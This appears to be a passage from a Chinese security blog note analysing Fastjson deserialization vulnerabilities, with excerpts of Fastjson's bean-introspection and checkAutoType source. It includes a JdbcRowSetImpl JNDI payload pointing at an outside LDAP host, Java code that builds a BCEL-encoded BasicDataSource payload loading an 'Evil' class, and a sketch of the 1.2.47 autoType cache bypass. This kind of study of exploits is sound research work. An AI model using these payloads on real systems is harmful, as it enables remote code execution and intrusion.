} catch (NoSuchMethodException e) {
// skip
} catch (SecurityException e) {
// skip
}

if (buildMethod == null) {
try {
buildMethod = builderClass.getMethod("create");
} catch (NoSuchMethodException e) {
// skip
} catch (SecurityException e) {
// skip
}
}

if (buildMethod == null) {
throw new JSONException("buildMethod not found.");
}

TypeUtils.setAccessible(buildMethod);
}
}

for (Method method : methods) { //
int ordinal = 0, serialzeFeatures = 0, parserFeatures = 0;
String methodName = method.getName();
if (methodName.length() < 4) {
continue;
}

if (Modifier.isStatic(method.getModifiers())) {
continue;
}

// support builder set
if (!(method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) {
continue;
}
Class<?>[] types = method.getParameterTypes();
if (types.length != 1) {
continue;
}

JSONField annotation = method.getAnnotation(JSONField.class);

if (annotation == null) {
annotation = TypeUtils.getSuperMethodAnnotation(clazz, method);
}

if (annotation != null) {
if (!annotation.deserialize()) {
continue;
}

ordinal = annotation.ordinal();
serialzeFeatures = SerializerFeature.of(annotation.serialzeFeatures());
parserFeatures = Feature.of(annotation.parseFeatures());

if (annotation.name().length() != 0) {
String propertyName = annotation.name();
add(fieldList, new FieldInfo(propertyName, method, null, clazz, type, ordinal, serialzeFeatures, parserFeatures,
annotation, null, null));
continue;
}
}

if (!methodName.startsWith("set")) { // TODO "set"的判断放在 JSONField 注解后面,意思是允许非 setter 方法标记 JSONField 注解?
continue;
}

char c3 = methodName.charAt(3);

String propertyName;
if (Character.isUpperCase(c3) //
|| c3 > 512 // for unicode method name
) {
if (TypeUtils.compatibleWithJavaBean) {
propertyName = TypeUtils.decapitalize(methodName.substring(3));
} else {
propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);
}
} else if (c3 == '_') {
propertyName = methodName.substring(4);
} else if (c3 == 'f') {
propertyName = methodName.substring(3);
} else if (methodName.length() >= 5 && Character.isUpperCase(methodName.charAt(4))) {
propertyName = TypeUtils.decapitalize(methodName.substring(3));
} else {
continue;
}

Field field = TypeUtils.getField(clazz, propertyName, declaredFields);
if (field == null && types[0] == boolean.class) {
String isFieldName = "is" + Character.toUpperCase(propertyName.charAt(0)) + propertyName.substring(1);
field = TypeUtils.getField(clazz, isFieldName, declaredFields);
}

JSONField fieldAnnotation = null;
if (field != null) {
fieldAnnotation = field.getAnnotation(JSONField.class);

if (fieldAnnotation != null) {
if (!fieldAnnotation.deserialize()) {
continue;
}

ordinal = fieldAnnotation.ordinal();
serialzeFeatures = SerializerFeature.of(fieldAnnotation.serialzeFeatures());
parserFeatures = Feature.of(fieldAnnotation.parseFeatures());

if (fieldAnnotation.name().length() != 0) {
propertyName = fieldAnnotation.name();
add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal,
serialzeFeatures, parserFeatures, annotation, fieldAnnotation, null));
continue;
}
}

}

if (propertyNamingStrategy != null) {
propertyName = propertyNamingStrategy.translate(propertyName);
}

add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures, parserFeatures,
annotation, fieldAnnotation, null));
}

for (Field field : clazz.getFields()) { // public static fields
int modifiers = field.getModifiers();
if ((modifiers & Modifier.STATIC) != 0) {
continue;
}

if((modifiers & Modifier.FINAL) != 0) {
Class<?> fieldType = field.getType();
boolean supportReadOnly = Map.class.isAssignableFrom(fieldType)
|| Collection.class.isAssignableFrom(fieldType)
|| AtomicLong.class.equals(fieldType) //
|| AtomicInteger.class.equals(fieldType) //
|| AtomicBoolean.class.equals(fieldType);
if (!supportReadOnly) {
continue;
}
}

boolean contains = false;
for (FieldInfo item : fieldList) {
if (item.name.equals(field.getName())) {
contains = true;
break; // 已经是 contains = true,无需继续遍历
}
}

if (contains) {
continue;
}

int ordinal = 0, serialzeFeatures = 0, parserFeatures = 0;
String propertyName = field.getName();

JSONField fieldAnnotation = field.getAnnotation(JSONField.class);

if (fieldAnnotation != null) {
if (!fieldAnnotation.deserialize()) {
continue;
}

ordinal = fieldAnnotation.ordinal();
serialzeFeatures = SerializerFeature.of(fieldAnnotation.serialzeFeatures());
parserFeatures = Feature.of(fieldAnnotation.parseFeatures());

if (fieldAnnotation.name().length() != 0) {
propertyName = fieldAnnotation.name();
}
}

if (propertyNamingStrategy != null) {
propertyName = propertyNamingStrategy.translate(propertyName);
}

add(fieldList, new FieldInfo(propertyName, null, field, clazz, type, ordinal, serialzeFeatures, parserFeatures, null,
fieldAnnotation, null));
}

for (Method method : clazz.getMethods()) { // getter methods
String methodName = method.getName();
if (methodName.length() < 4) {
continue;
}

if (Modifier.isStatic(method.getModifiers())) {
continue;
}

if (methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3))) {
if (method.getParameterTypes().length != 0) {
continue;
}

if (Collection.class.isAssignableFrom(method.getReturnType()) //
|| Map.class.isAssignableFrom(method.getReturnType()) //
|| AtomicBoolean.class == method.getReturnType() //
|| AtomicInteger.class == method.getReturnType() //
|| AtomicLong.class == method.getReturnType() //
) {
String propertyName;

JSONField annotation = method.getAnnotation(JSONField.class);
if (annotation != null && annotation.deserialize()) {
continue;
}

if (annotation != null && annotation.name().length() > 0) {
propertyName = annotation.name();
} else {
propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);
}

FieldInfo fieldInfo = getField(fieldList, propertyName);
if (fieldInfo != null) {
continue;
}

if (propertyNamingStrategy != null) {
propertyName = propertyNamingStrategy.translate(propertyName);
}

add(fieldList, new FieldInfo(propertyName, method, null, clazz, type, 0, 0, 0, annotation, null, null));
}
}
}

return new JavaBeanInfo(clazz, builderClass, defaultConstructor, null, null, buildMethod, jsonType, fieldList);
}

可以发现是以如下的顺讯进行调用的

  1. setter
  2. public 变量
  3. 满足规范的getter

并且会自动调用,可以类比是readObject

1.2.24 利用

JdbcRowSetImpl

利用过程分析

首先JdbcRowSetImpl 类中存在一个lookup

image-20251012225636259

并且这个入参数是可控的

image-20251012225718031

还可以通过setter 方法进行调用

image-20251012225737750

那么调用流程如下

1
2
3
JdbcRowSetImpl.setAutoCommit() ->
JdbcRowSetImpl.connet() ->
var1.lookup()

本质上就是一个jndi 注入

Exp:

1
2
3
4
5
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://198.18.0.1:1389/z8r706",
"autoCommit":false
}

但是由于jndi 注入存在两个限制

  1. 版本/依赖限制
  2. 出网

BasicDataSource

首先 BasicDataSource 中存在forname

image-20251013100248415

并且这两个参数都是可控的(这里可控是因为存在对应的setter)

image-20251013100347396

image-20251013100405210

然后使用一个特殊的classloder

1
com.sun.org.apache.bcel.internal.util.ClassLoader

然后利用代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
byte[] bytes=null;
try {
bytes= Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Evil.class"));
} catch (IOException e) {
throw new RuntimeException(e);
}
String code=null;
try {
code= Utility.encode(bytes,true);
} catch (IOException e) {
throw new RuntimeException(e);
}


String json="{\n" +
" \"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
" \"driverClassName\": \"$$BCEL$$"+code+"\",\n" +
" \"driverClassLoader\": {\n" +
" \"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" }\n" +
"}";
JSONObject user = JSON.parseObject(json);
System.out.println(user);
}

注意的是ClassLoader 的加载需要encode 一下

1.2.47

相比前面的其实就是多了一个 checkAutoType

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
}

if (typeName.length() >= 128 || typeName.length() < 3) {
throw new JSONException("autoType is not support. " + typeName);
}

String className = typeName.replace('$', '.');
Class<?> clazz = null;

final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;

final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
if (h1 == 0xaf64164c86024f1aL) { // [
throw new JSONException("autoType is not support. " + typeName);
}

if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
throw new JSONException("autoType is not support. " + typeName);
}

final long h3 = (((((BASIC ^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME)
^ className.charAt(2))
* PRIME;

if (autoTypeSupport || expectClass != null) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}

if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}

if (!autoTypeSupport) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= c;
hash *= PRIME;

if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}

if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
}
}

if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}

if (clazz != null) {
if (TypeUtils.getAnnotation(clazz,JSONType.class) != null) {
return clazz;
}

if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}

JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
if (beanInfo.creatorConstructor != null && autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
}

final int mask = Feature.SupportAutoType.mask;
boolean autoTypeSupport = this.autoTypeSupport
|| (features & mask) != 0
|| (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;

if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}

return clazz;
}

本质上就是利用了,从缓存中找到了类加载器的时候,就不会进行判断了

那么只需要先走一个次类加载,放进缓存中就可以了


fastjson
https://tsy244.github.io/2025/10/12/java安全/fastjson/
Author
August Rosenberg
Posted on
October 12, 2025
Licensed under